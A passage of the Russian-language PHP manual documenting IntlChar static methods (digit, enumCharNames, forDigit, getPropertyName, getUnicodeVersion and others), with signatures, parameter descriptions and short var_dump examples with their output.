Если основание не входит в диапазон 2<=radix<=36 или если codepoint не является корректным символом для этого основания, возвращается false. Символ является корректной цифрой если выполняется хотя бы одно из условий:

  • Символ представляет собой десятичную цифру. Такие символы входят в глобальную категорию "Nd" (десятичные цифры) и Numeric_Type является Decimal. В этом случае возвращается соответствующая десятичная цифра.
  • Символ является одной из заглавных латинских букв от 'A' до 'Z'. В этом случае 'A' - это 10.
  • Символ является одной из строчных латинских букв от 'a' до 'z'. В этом случае 'a' - это 10.
  • Латинские буквы из ASCII диапазона (0061..007A, 0041..005A). Также подходят диапазоны Полного ASCII (FF41..FF5A, FF21..FF3A).

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

base

Основание (по умолчанию 10).

Возвращаемые значения

Возвращает десятичное число из символа Unicode с заданным основанием или false, если символ некорректен или выходит за рамки основания. В случае возникновения ошибки возвращает null.

Внимание

Эта функция может возвращать как логическое значение false, так и значение не типа boolean, которое приводится к false. За более подробной информацией обратитесь к разделу Булев тип. Используйте оператор === для проверки значения, возвращаемого этой функцией.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::digit("0"));
var_dump(IntlChar::digit("3"));
var_dump(IntlChar::digit("A"));
var_dump(IntlChar::digit("A", 16));
?>

Результат выполнения данного примера:

int(0)
int(3)
bool(false)
int(10)

Смотрите также

  • IntlChar::forDigit() - Получить символ представляющий заданное число в заданном основании
  • IntlChar::charDigitValue() - Получить десятичную цифру из символа десятичной цифры
  • IntlChar::isdigit() - Проверить, является ли символ цифрой
  • IntlChar::PROPERTY_NUMERIC_TYPE

User Contributed Notes

There are no user contributed notes for this page.


Перечисляет все присвоенные символы Unicode в заданном диапазоне

  • « IntlChar::digit
  • IntlChar::enumCharTypes »
  • PHP Manual
  • IntlChar
  • Перечисляет все присвоенные символы Unicode в заданном диапазоне

IntlChar::enumCharNames

(PHP 7, PHP 8)

IntlChar::enumCharNames — Перечисляет все присвоенные символы Unicode в заданном диапазоне

Описание

public static IntlChar::enumCharNames(
int|string $start,
int|string $end,
callable $callback,
int $type = IntlChar::UNICODE_CHAR_NAME
): ?bool

Перечисляет все присвоенные символы Unicode в заданном диапазоне (включая начало диапазона и исключая конец) и для каждого из них функцию, передавая в неё код символа и его имя.

Для имён Unicode 1.0 перечисляются только те символы, имена которых отличны от их "современных" имён.

Список параметров

start

Код символа с которого начинается диапазон.

end

Код символа с которого начинается диапазон. Сам этот символ в диапазон не попадёт.

callback

Функция, которая будет вызвана для каждого возвращённого символа. В неё будут переданы следующие три аргумента:

  • int $codepoint - код символа
  • int $nameChoice - значение из type, смотрите описание ниже
  • string $name - Имя символа

type

Категория символов для перечисления. Одна из констант:

  • IntlChar::UNICODE_CHAR_NAME (по умолчанию)
  • IntlChar::UNICODE_10_CHAR_NAME
  • IntlChar::EXTENDED_CHAR_NAME
  • IntlChar::CHAR_NAME_ALIAS
  • IntlChar::CHAR_NAME_CHOICE_COUNT

Возвращаемые значения

Возвращает null в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Перечисления диапазона символов

<?php
IntlChar::enumCharNames(0x2600, 0x2610, function($codepoint, $nameChoice, $name) {
printf("U+%04x %s\n", $codepoint, $name);
});
?>

Результат выполнения данного примера:

U+2600 BLACK SUN WITH RAYS
U+2601 CLOUD
U+2602 UMBRELLA
U+2603 SNOWMAN
U+2604 COMET
U+2605 BLACK STAR
U+2606 WHITE STAR
U+2607 LIGHTNING
U+2608 THUNDERSTORM
U+2609 SUN
U+260a ASCENDING NODE
U+260b DESCENDING NODE
U+260c CONJUNCTION
U+260d OPPOSITION
U+260e BLACK TELEPHONE
U+260f WHITE TELEPHONE

Смотрите также

  • IntlChar::charName() - Получить имя символа Unicode
  • IntlChar::charFromName() - Найти символ Unicode по его имени и вернуть его код

User Contributed Notes

There are no user contributed notes for this page.


Перечисление последовательностей символов Unicode сгруппированных по им категориям

  • « IntlChar::enumCharNames
  • IntlChar::foldCase »
  • PHP Manual
  • IntlChar
  • Перечисление последовательностей символов Unicode сгруппированных по им категориям

IntlChar::enumCharTypes

(PHP 7, PHP 8)

IntlChar::enumCharTypes — Перечисление последовательностей символов Unicode сгруппированных по им категориям

Описание

public static IntlChar::enumCharTypes(callable $callback): void

Перечисление последовательностей символов Unicode сгруппированных по им категориям. Полезно при построении структур данных, для перебора всех назначенных кодов символов и т.д.

Для каждого непрерывного диапазона символов с одной категорией будет вызвана функция callback. Соседние диапазоны имеют разные категории. Стандарты Unicode гарантируют числовые значения от 0 до 31.

Список параметров

callback

Функция, которая будет вызвана для каждой непрерывной последовательности с одинаковой категорией. В неё будут переданы следующие параметры:

  • int $start - Начальный символ диапазона
  • int $end - Конечный символ диапазона
  • int $name - Категория символов (одна из констант IntlChar::CHAR_CATEGORY_*)

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Перечисление диапазонов категорий символов

<?php
IntlChar::enumCharTypes(function($start, $end, $type) {
printf("U+%04x through U+%04x are in category %d\n", $start, $end, $type);
});
?>

Результат выполнения данного примера:

U+0000 through U+0020 are in category 15
U+0020 through U+0021 are in category 12
U+0021 through U+0024 are in category 23
U+0024 through U+0025 are in category 25
U+0025 through U+0028 are in category 23
U+0028 through U+0029 are in category 20
U+0029 through U+002a are in category 21
U+002a through U+002b are in category 23
U+002b through U+002c are in category 24
U+002c through U+002d are in category 23
U+002d through U+002e are in category 19
U+002e through U+0030 are in category 23
U+0030 through U+003a are in category 9
...

User Contributed Notes

There are no user contributed notes for this page.


Производит преобразование регистра заданного символа

  • « IntlChar::enumCharTypes
  • IntlChar::forDigit »
  • PHP Manual
  • IntlChar
  • Производит преобразование регистра заданного символа

IntlChar::foldCase

(PHP 7, PHP 8)

IntlChar::foldCase — Производит преобразование регистра заданного символа

Описание

public static IntlChar::foldCase(int|string $codepoint, int $options = IntlChar::FOLD_CASE_DEFAULT): int|string|null

Возвращает код символа в регистре отличном от регистра переданного символа. Если символ не имеет представления в другом регистре, то будет возвращён переданный символ.

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

options

IntlChar::FOLD_CASE_DEFAULT (по умолчанию) или IntlChar::FOLD_CASE_EXCLUDE_SPECIAL_I.

Возвращаемые значения

Возвращает Simple_Case_Folding для символа, если он есть. В ином случае - сам символ в случае успешного выполнения или null в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Получить символ представляющий заданное число в заданном основании

  • « IntlChar::foldCase
  • IntlChar::getBidiPairedBracket »
  • PHP Manual
  • IntlChar
  • Получить символ представляющий заданное число в заданном основании

IntlChar::forDigit

(PHP 7, PHP 8)

IntlChar::forDigit — Получить символ представляющий заданное число в заданном основании

Описание

public static IntlChar::forDigit(int $digit, int $base = 10): int

Определяет представление символов для конкретной цифры в указанной системе счисления.

Если значение основания некорректно, или значение числа не является корректным числом в заданной системе счисления, будет возвращён U+0000.

Корректные значения radix лежат в диапазоне от 2 до 36. Корректные значения digit лежат в диапазоне 0 <= digit < radix.

Если digit меньше 10, то будет возвращено '0' + digit. В противном случае вернётся 'a' + digit - 10.

Список параметров

digit

Число для преобразования в символ.

base

Основание системы счисления (по умолчанию 10).

Возвращаемые значения

Символьное представление (типа string) заданного числа с заданным основанием системы счисления.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::forDigit(0));
var_dump(IntlChar::forDigit(3));
var_dump(IntlChar::forDigit(3, 10));
var_dump(IntlChar::forDigit(10));
var_dump(IntlChar::forDigit(10, 16));
?>

Результат выполнения данного примера:

int(48)
int(51)
int(51)
int(0)
int(97)

Смотрите также

  • IntlChar::digit() - Получить десятичное число из символа Unicode с заданным основанием
  • IntlChar::charDigitValue() - Получить десятичную цифру из символа десятичной цифры
  • IntlChar::isdigit() - Проверить, является ли символ цифрой
  • IntlChar::PROPERTY_NUMERIC_TYPE

User Contributed Notes

There are no user contributed notes for this page.


Получить парную скобку для символа

  • « IntlChar::forDigit
  • IntlChar::getBlockCode »
  • PHP Manual
  • IntlChar
  • Получить парную скобку для символа

IntlChar::getBidiPairedBracket

(PHP 7, PHP 8)

IntlChar::getBidiPairedBracket — Получить парную скобку для символа

Описание

public static IntlChar::getBidiPairedBracket(int|string $codepoint): int|string|null

Получает парную скобку для символа.

Для Bidi_Paired_Bracket_Type!=None, это аналогично IntlChar::charMirror(). Если такового нет, возвращается исходный codepoint.

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает парную скобку для символа, или codepoint если таковой нет. В случае возникновения ошибки возвращает null.

Возвращаемый тип должен быть int, если только символ не был передан как строка UTF-8 (string), в этом случае вернётся строка (string). В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::getBidiPairedBracket(91));
var_dump(IntlChar::getBidiPairedBracket('['));
?>

Результат выполнения данного примера:

int(93)
string(1) "]"

Смотрите также

  • IntlChar::charMirror() - Получить "зеркальный" символ по коду
  • IntlChar::PROPERTY_BIDI_PAIRED_BRACKET
  • IntlChar::PROPERTY_BIDI_PAIRED_BRACKET_TYPE

User Contributed Notes

There are no user contributed notes for this page.


Получить блок размещения символа Unicode

  • « IntlChar::getBidiPairedBracket
  • IntlChar::getCombiningClass »
  • PHP Manual
  • IntlChar
  • Получить блок размещения символа Unicode

IntlChar::getBlockCode

(PHP 7, PHP 8)

IntlChar::getBlockCode — Получить блок размещения символа Unicode

Описание

public static IntlChar::getBlockCode(int|string $codepoint): ?int

Возвращает блок размещения символа Unicode.

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает блок размещения codepoint. Одна из констант IntlChar::BLOCK_CODE_*. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::getBlockCode("A") === IntlChar::BLOCK_CODE_BASIC_LATIN);
var_dump(IntlChar::getBlockCode("?") === IntlChar::BLOCK_CODE_GREEK);
var_dump(IntlChar::getBlockCode("\u{2603}") === IntlChar::BLOCK_CODE_MISCELLANEOUS_SYMBOLS);
?>

Результат выполнения данного примера:

bool(true)
bool(true)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Получить комбинирующий класс для символа

  • « IntlChar::getBlockCode
  • IntlChar::getFC_NFKC_Closure »
  • PHP Manual
  • IntlChar
  • Получить комбинирующий класс для символа

IntlChar::getCombiningClass

(PHP 7, PHP 8)

IntlChar::getCombiningClass — Получить комбинирующий класс для символа

Описание

public static IntlChar::getCombiningClass(int|string $codepoint): ?int

Возвращает комбинирующий класс для символа.

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает комбинирующий класс для символа. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::getCombiningClass("A"));
var_dump(IntlChar::getCombiningClass("\u{0334}"));
var_dump(IntlChar::getCombiningClass("\u{0358}"));
?>

Результат выполнения данного примера:

int(0)
int(1)
int(232)

User Contributed Notes

There are no user contributed notes for this page.


Получить свойство FC_NFKC_Closure для символа

  • « IntlChar::getCombiningClass
  • IntlChar::getIntPropertyMaxValue »
  • PHP Manual
  • IntlChar
  • Получить свойство FC_NFKC_Closure для символа

IntlChar::getFC_NFKC_Closure

(PHP 7, PHP 8)

IntlChar::getFC_NFKC_Closure — Получить свойство FC_NFKC_Closure для символа

Описание

public static IntlChar::getFC_NFKC_Closure(int|string $codepoint): string|false|null

Получает свойство FC_NFKC_Closure для символа.

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает свойство FC_NFKC_Closure для codepoint в виде строки, или пустую строку, если его нет. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::getFC_NFKC_Closure("\u{2121}"));
var_dump(IntlChar::getFC_NFKC_Closure("\u{1D2D}"));
?>

Результат выполнения данного примера:

string(3) "tel"
string(2) "?"

User Contributed Notes

There are no user contributed notes for this page.


Получить минимальное значение для свойства Unicode

  • « IntlChar::getFC_NFKC_Closure
  • IntlChar::getIntPropertyMinValue »
  • PHP Manual
  • IntlChar
  • Получить минимальное значение для свойства Unicode

IntlChar::getIntPropertyMaxValue

(PHP 7, PHP 8)

IntlChar::getIntPropertyMaxValue — Получить минимальное значение для свойства Unicode

Описание

public static IntlChar::getIntPropertyMaxValue(int $property): int

Получает минимальное значение (перечисляемое/целочисленное/бинарное) для свойства Unicode.

Список параметров

property

Свойство Unicode для отображения (Смотри константы IntlChar::PROPERTY_*).

Возвращаемые значения

Максимальное значение, возвращаемое IntlChar::getIntPropertyValue() для свойства Unicode. <=0, если свойство не входит в допустимый диапазон.

Примеры

Пример #1 Тестирование различных свойств

<?php
var_dump(IntlChar::getIntPropertyMaxValue(IntlChar::PROPERTY_BIDI_CLASS));
var_dump(IntlChar::getIntPropertyMaxValue(IntlChar::PROPERTY_SCRIPT));
var_dump(IntlChar::getIntPropertyMaxValue(IntlChar::PROPERTY_IDEOGRAPHIC));
var_dump(IntlChar::getIntPropertyMaxValue(999999999)); // Some made-up value
?>

Результат выполнения данного примера:

int(22)
int(166)
int(1)
int(-1)

Смотрите также

  • IntlChar::hasBinaryProperty() - Проверить бинарное свойство Unicode для символа
  • IntlChar::getIntPropertyMinValue() - Получить минимальное значение для свойства Unicode
  • IntlChar::getIntPropertyValue() - Получить значение свойства Unicode для символа
  • IntlChar::getUnicodeVersion() - Получить версию Unicode

User Contributed Notes

There are no user contributed notes for this page.


Получить минимальное значение для свойства Unicode

  • « IntlChar::getIntPropertyMaxValue
  • IntlChar::getIntPropertyValue »
  • PHP Manual
  • IntlChar
  • Получить минимальное значение для свойства Unicode

IntlChar::getIntPropertyMinValue

(PHP 7, PHP 8)

IntlChar::getIntPropertyMinValue — Получить минимальное значение для свойства Unicode

Описание

public static IntlChar::getIntPropertyMinValue(int $property): int

Получает минимальное значение (перечисляемое/целочисленное/бинарное) для свойства Unicode.

Список параметров

property

Свойство Unicode для отображения (Смотри константы IntlChar::PROPERTY_*).

Возвращаемые значения

Минимальное значение, возвращаемое IntlChar::getIntPropertyValue() для свойства Unicode. 0, если свойство не входит в допустимый диапазон.

Примеры

Пример #1 Тестирование различных свойств

<?php
var_dump(IntlChar::getIntPropertyMinValue(IntlChar::PROPERTY_BIDI_CLASS));
var_dump(IntlChar::getIntPropertyMinValue(IntlChar::PROPERTY_SCRIPT));
var_dump(IntlChar::getIntPropertyMinValue(IntlChar::PROPERTY_IDEOGRAPHIC));
var_dump(IntlChar::getIntPropertyMinValue(999999999)); // Some made-up value
?>

Результат выполнения данного примера:

int(0)
int(0)
int(0)
int(0)

Смотрите также

  • IntlChar::hasBinaryProperty() - Проверить бинарное свойство Unicode для символа
  • IntlChar::getIntPropertyMaxValue() - Получить минимальное значение для свойства Unicode
  • IntlChar::getIntPropertyValue() - Получить значение свойства Unicode для символа
  • IntlChar::getUnicodeVersion() - Получить версию Unicode

User Contributed Notes

There are no user contributed notes for this page.


Получить значение свойства Unicode для символа

  • « IntlChar::getIntPropertyMinValue
  • IntlChar::getNumericValue »
  • PHP Manual
  • IntlChar
  • Получить значение свойства Unicode для символа

IntlChar::getIntPropertyValue

(PHP 7, PHP 8)

IntlChar::getIntPropertyValue — Получить значение свойства Unicode для символа

Описание

public static IntlChar::getIntPropertyValue(int|string $codepoint, int $property): ?int

Получает значение нумерованного или целочисленного свойства Unicode для символа. Также возвращаются бинарное и шаблонное значения свойства.

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

property

Свойство Unicode для отображения (Смотри константы IntlChar::PROPERTY_*).

Возвращаемые значения

Возвращает численное значение для указанного свойства, или, для перечисляемых свойств, соответствующую численному значению константу соответственно значению перечисляемого типа свойства. В случае возникновения ошибки возвращает null.

Возвращает 0 или 1 (для false/true) для бинарных свойств Unicode.

Возвращает битовый шаблон для шаблонных свойств.

Возвращает 0 если property не входит в допустимый диапазон или если версия Unicode не содержит данных для этого свойства.

Примеры

Пример #1 Тестирование различных свойств

<?php
var_dump(IntlChar::getIntPropertyValue("A", IntlChar::PROPERTY_ALPHABETIC) === 1);
var_dump(IntlChar::getIntPropertyValue("[", IntlChar::PROPERTY_BIDI_MIRRORED) === 1);
var_dump(IntlChar::getIntPropertyValue("?", IntlChar::PROPERTY_BLOCK) === IntlChar::BLOCK_CODE_GREEK);
?>

Результат выполнения данного примера:

bool(true)
bool(true)
bool(true)

Смотрите также

  • IntlChar::hasBinaryProperty() - Проверить бинарное свойство Unicode для символа
  • IntlChar::getIntPropertyMinValue() - Получить минимальное значение для свойства Unicode
  • IntlChar::getIntPropertyMaxValue() - Получить минимальное значение для свойства Unicode
  • IntlChar::getUnicodeVersion() - Получить версию Unicode

User Contributed Notes

There are no user contributed notes for this page.


Получить числовое представление для символа Unicode

  • « IntlChar::getIntPropertyValue
  • IntlChar::getPropertyEnum »
  • PHP Manual
  • IntlChar
  • Получить числовое представление для символа Unicode

IntlChar::getNumericValue

(PHP 7, PHP 8)

IntlChar::getNumericValue — Получить числовое представление для символа Unicode

Описание

public static IntlChar::getNumericValue(int|string $codepoint): ?float

Получает числовое представление для символа Unicode, как определено в базе символов Unicode.

Если для символа отсутствует численное представление - будет возвращено IntlChar::NO_NUMERIC_VALUE.

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Численное значение codepoint, или IntlChar::NO_NUMERIC_VALUE если отсутствует или не задано. Эта константа появилась в PHP 7.0.6, до этой версии в таком случае возвращалось (float)-123456789. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::getNumericValue("4"));
var_dump(IntlChar::getNumericValue("x"));
var_dump(IntlChar::getNumericValue("\u{216C}"));
?>

Результат выполнения данного примера:

float(4)
float(-123456789)
float(50)

User Contributed Notes

There are no user contributed notes for this page.


Получить значение константы свойства по его имени

  • « IntlChar::getNumericValue
  • IntlChar::getPropertyName »
  • PHP Manual
  • IntlChar
  • Получить значение константы свойства по его имени

IntlChar::getPropertyEnum

(PHP 7, PHP 8)

IntlChar::getPropertyEnum — Получить значение константы свойства по его имени

Описание

public static IntlChar::getPropertyEnum(string $alias): int

Возвращает значение константы свойства по его имени, как задано в PropertyAliases.txt. Принимаются длинные, короткие и прочие варианты имени.

Дополнительно, эта функция связывает синтетическое имя "gcm" / "General_Category_Mask" со свойством IntlChar::PROPERTY_GENERAL_CATEGORY_MASK.Этих имён нет в PropertyAliases.txt.

Функция близка с IntlChar::getPropertyName().

Список параметров

alias

Имя свойства. Имена сравниваются по принципу "loose matching", как описано в PropertyValueAliases.txt.

Возвращаемые значения

Возвращает значение константы IntlChar::PROPERTY_, или IntlChar::PROPERTY_INVALID_CODE, если заданное имя не соответствует никакому свойству.

Примеры

Пример #1 Тестирование различных свойств

<?php
var_dump(IntlChar::getPropertyEnum('Bidi_Class') === IntlChar::PROPERTY_BIDI_CLASS);
var_dump(IntlChar::getPropertyEnum('script') === IntlChar::PROPERTY_SCRIPT);
var_dump(IntlChar::getPropertyEnum('IDEOGRAPHIC') === IntlChar::PROPERTY_IDEOGRAPHIC);
var_dump(IntlChar::getPropertyEnum('Some made-up string') === IntlChar::PROPERTY_INVALID_CODE);
?>

Результат выполнения данного примера:

bool(true)
bool(true)
bool(true)
bool(true)

Смотрите также

  • IntlChar::getPropertyName() - Получить Unicode имя свойства

User Contributed Notes

There are no user contributed notes for this page.


Получить Unicode имя свойства

  • « IntlChar::getPropertyEnum
  • IntlChar::getPropertyValueEnum »
  • PHP Manual
  • IntlChar
  • Получить Unicode имя свойства

IntlChar::getPropertyName

(PHP 7, PHP 8)

IntlChar::getPropertyName — Получить Unicode имя свойства

Описание

public static IntlChar::getPropertyName(int $property, int $type = IntlChar::LONG_PROPERTY_NAME): string|false

Возвращает имя Unicode для заданного свойства, как определено в PropertyAliases.txt.

В дополнение, эта функция связывает свойство IntlChar::PROPERTY_GENERAL_CATEGORY_MASK с синтетическим именем "gcm" / "General_Category_Mask". Этих имён нет в PropertyAliases.txt.

Эта функция близка с IntlChar::getPropertyEnum().

Список параметров

property

Свойство Unicode для отображения (Смотри константы IntlChar::PROPERTY_*).

Нельзя использовать IntlChar::PROPERTY_INVALID_CODE. Также, если property не входит в допустимый диапазон - возвращается false.

type

Селектор для выбора имени. Если не входит в допустимый диапазон - возвращается false.

Все значения имеют длинные имена. Большинство имеют короткие имена, но не все. Unicode позволяет дополнительные имена; Если существуют, они будут возвращены с добавлением 1, 2, и т.д к IntlChar::LONG_PROPERTY_NAME.

Возвращаемые значения

Возвращает имена или false если property или type выходят за допустимый диапазон.

Если type возвращает false, то все более большие величины type также вернут false, с одним исключением: если false вернётся для IntlChar::SHORT_PROPERTY_NAME, то IntlChar::LONG_PROPERTY_NAME (и выше) всё ещё могут вернуть не false.

Примеры

Пример #1 Тестирование различных свойств

<?php
var_dump(IntlChar::getPropertyName(IntlChar::PROPERTY_BIDI_CLASS));
var_dump(IntlChar::getPropertyName(IntlChar::PROPERTY_BIDI_CLASS, IntlChar::SHORT_PROPERTY_NAME));
var_dump(IntlChar::getPropertyName(IntlChar::PROPERTY_BIDI_CLASS, IntlChar::LONG_PROPERTY_NAME));
var_dump(IntlChar::getPropertyName(IntlChar::PROPERTY_BIDI_CLASS, IntlChar::LONG_PROPERTY_NAME + 1));
?>

Результат выполнения данного примера:

string(10) "Bidi_Class"
string(2) "bc"
string(10) "Bidi_Class"
bool(false)

Смотрите также

  • IntlChar::getPropertyEnum() - Получить значение константы свойства по его имени

User Contributed Notes

There are no user contributed notes for this page.


Вернуть числовой идентификатор свойства по его имени

  • « IntlChar::getPropertyName
  • IntlChar::getPropertyValueName »
  • PHP Manual
  • IntlChar
  • Вернуть числовой идентификатор свойства по его имени

IntlChar::getPropertyValueEnum

(PHP 7, PHP 8)

IntlChar::getPropertyValueEnum — Вернуть числовой идентификатор свойства по его имени

Описание

public static IntlChar::getPropertyValueEnum(int $property, string $name): int

Возвращает числовой идентификатор свойства Unicode по его имени, как определено в файле PropertyValueAliases.txt. Принимаются длинные, короткие и прочие варианты имени.

Замечание:

Некоторые имена из PropertyValueAliases.txt могут быть извлечены только с помощью IntlChar::PROPERTY_GENERAL_CATEGORY_MASK, а не IntlChar::PROPERTY_GENERAL_CATEGORY. Включая:

  • "C" / "Прочее"
  • "L" / "Буквы"
  • "LC" / "Буквы, имеющие несколько регистров"
  • "M" / "Метки"
  • "N" / "Числа"
  • "P" / "Пунктуация"
  • "S" / "Символы"
  • "Z" / "Разделители"

Список параметров

property

Свойство Unicode для отображения (Смотри константы IntlChar::PROPERTY_*).

Если не входит в допустимый диапазон, либо если метод не работает с данным значением, возвращается IntlChar::PROPERTY_INVALID_CODE.

name

Имя свойства. Имена сравниваются по принципу "loose matching", как описано в PropertyValueAliases.txt.

Возвращаемые значения

Возвращает соответствующее целочисленное значение или IntlChar::PROPERTY_INVALID_CODE если соответствие не найдено или если свойство некорректно.

Примеры

Пример #1 Тестирование различных свойств

<?php
var_dump(IntlChar::getPropertyValueEnum(IntlChar::PROPERTY_BLOCK, 'greek') === IntlChar::BLOCK_CODE_GREEK);
var_dump(IntlChar::getPropertyValueEnum(IntlChar::PROPERTY_BIDI_CLASS, 'RIGHT_TO_LEFT') === IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT);
var_dump(IntlChar::getPropertyValueEnum(IntlChar::PROPERTY_BIDI_CLASS, 'some made-up string') === IntlChar::PROPERTY_INVALID_CODE);
var_dump(IntlChar::getPropertyValueEnum(123456789, 'RIGHT_TO_LEFT') === IntlChar::PROPERTY_INVALID_CODE);
?>

Результат выполнения данного примера:

bool(true)
bool(true)
bool(true)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Получить имя Unicode для значения свойства

  • « IntlChar::getPropertyValueEnum
  • IntlChar::getUnicodeVersion »
  • PHP Manual
  • IntlChar
  • Получить имя Unicode для значения свойства

IntlChar::getPropertyValueName

(PHP 7, PHP 8)

IntlChar::getPropertyValueName — Получить имя Unicode для значения свойства

Описание

public static IntlChar::getPropertyValueName(int $property, int $value, int $type = IntlChar::LONG_PROPERTY_NAME): string|false

Возвращает имя свойства Unicode по его значению, как определено в файле PropertyValueAliases.txt.

Замечание:

Некоторые имена из PropertyValueAliases.txt могут быть извлечены только с помощью IntlChar::PROPERTY_GENERAL_CATEGORY_MASK, а не IntlChar::PROPERTY_GENERAL_CATEGORY. Включая:

  • "C" / "Прочее"
  • "L" / "Буквы"
  • "LC" / "Буквы, имеющие несколько регистров"
  • "M" / "Метки"
  • "N" / "Числа"
  • "P" / "Пунктуация"
  • "S" / "Символы"
  • "Z" / "Разделители"

Список параметров

property

Свойство Unicode для отображения (Смотри константы IntlChar::PROPERTY_*).

Если не входит в допустимый диапазон, либо если метод не работает с данным значением, возвращается false.

value

Селектор для значения свойства. Если не входит в допустимый диапазон, то вернётся false.

В целом, допустимый диапазон лежит в пределах от 0 до некоторого максимума. Есть несколько исключений:

  • Значения IntlChar::PROPERTY_BLOCK начинаются с не нулевого значения IntlChar::BLOCK_CODE_BASIC_LATIN
  • Значения IntlChar::PROPERTY_CANONICAL_COMBINING_CLASS не непрерывны и лежат в диапазоне 0..240.

type

Селектор для извлекаемого имени. Если не попадает в диапазон - будет возвращено false.

Все значения имеют длинные имена. Большинство имеют короткие имена, но не все. Unicode позволяет дополнительные имена; Если существуют, они будут возвращены с добавлением 1, 2, и т.д к IntlChar::LONG_PROPERTY_NAME.

Возвращаемые значения

Возвращает имена или false если property или nameChoice выходят за допустимый диапазон. В случае возникновения ошибки возвращает null.

Если type возвращает false, то все более большие величины type также вернут false, с одним исключением: если false вернётся для IntlChar::SHORT_PROPERTY_NAME, то IntlChar::LONG_PROPERTY_NAME (и выше) всё ещё могут вернуть не false.

Примеры

Пример #1 Тестирование различных свойств

<?php
var_dump(IntlChar::getPropertyValueName(IntlChar::PROPERTY_BLOCK, IntlChar::BLOCK_CODE_GREEK));
var_dump(IntlChar::getPropertyValueName(IntlChar::PROPERTY_BLOCK, IntlChar::BLOCK_CODE_GREEK, IntlChar::SHORT_PROPERTY_NAME));
var_dump(IntlChar::getPropertyValueName(IntlChar::PROPERTY_BLOCK, IntlChar::BLOCK_CODE_GREEK, IntlChar::LONG_PROPERTY_NAME));
var_dump(IntlChar::getPropertyValueName(IntlChar::PROPERTY_BLOCK, IntlChar::BLOCK_CODE_GREEK, IntlChar::LONG_PROPERTY_NAME + 1));
?>

Результат выполнения данного примера:

string(16) "Greek_And_Coptic"
string(5) "Greek"
string(16) "Greek_And_Coptic"
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Получить версию Unicode

  • « IntlChar::getPropertyValueName
  • IntlChar::hasBinaryProperty »
  • PHP Manual
  • IntlChar
  • Получить версию Unicode

IntlChar::getUnicodeVersion

(PHP 7, PHP 8)

IntlChar::getUnicodeVersion — Получить версию Unicode

Описание

public static IntlChar::getUnicodeVersion(): array

Получает информацию о версии Unicode.

Возвращаемый массив заполняется информацией о версии Unicode используемой ICU. К примеру, Unicode версии 3.1.1 вернёт массив со значениями [3, 1, 1, 0].

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив, содержащий информацию о версии Unicode.

Примеры

Пример #1 Тестирование различных свойств

<?php
var_dump(IntlChar::getUnicodeVersion());
?>

Результат выполнения данного примера:

array(4) {
  [0]=>
  int(7)
  [1]=>
  int(0)
  [2]=>
  int(0)
  [3]=>
  int(0)
}

Смотрите также

  • IntlChar::charAge() - Получить "возраст" символьного кода

User Contributed Notes

There are no user contributed notes for this page.


Проверить бинарное свойство Unicode для символа

  • « IntlChar::getUnicodeVersion
  • IntlChar::isalnum »
  • PHP Manual
  • IntlChar
  • Проверить бинарное свойство Unicode для символа

IntlChar::hasBinaryProperty

(PHP 7, PHP 8)

IntlChar::hasBinaryProperty — Проверить бинарное свойство Unicode для символа

Описание

public static IntlChar::hasBinaryProperty(int|string $codepoint, int $property): ?bool

Проверяет бинарное свойство Unicode для символа.

Unicode, особенно в версии 3.2, определяет сильно больше свойств, чем было в оригинальном наборе UnicodeData.txt.

API свойств служит для отражения свойств Unicode, как определено в базе данных символов Unicode (Unicode Character Database или UCD) и технических отчётах Unicode (Unicode Technical Reports или UTR). Более подробное описание доступно на чайте » http://www.unicode.org/ucd/. Имена свойств Unicode смотрите в файле UCD PropertyAliases.txt.

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

property

Свойство Unicode для отображения (Смотри константы IntlChar::PROPERTY_*).

Возвращаемые значения

Возвращает true или false в зависимости от значения бинарного свойства Unicode символа codepoint. Также возвращает false если property находится вне границ или если используемая версия Unicode не содержит данных для этого свойства вообще, либо конкретно для этого символа. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных свойств

<?php
var_dump(IntlChar::hasBinaryProperty("A", IntlChar::PROPERTY_ALPHABETIC));
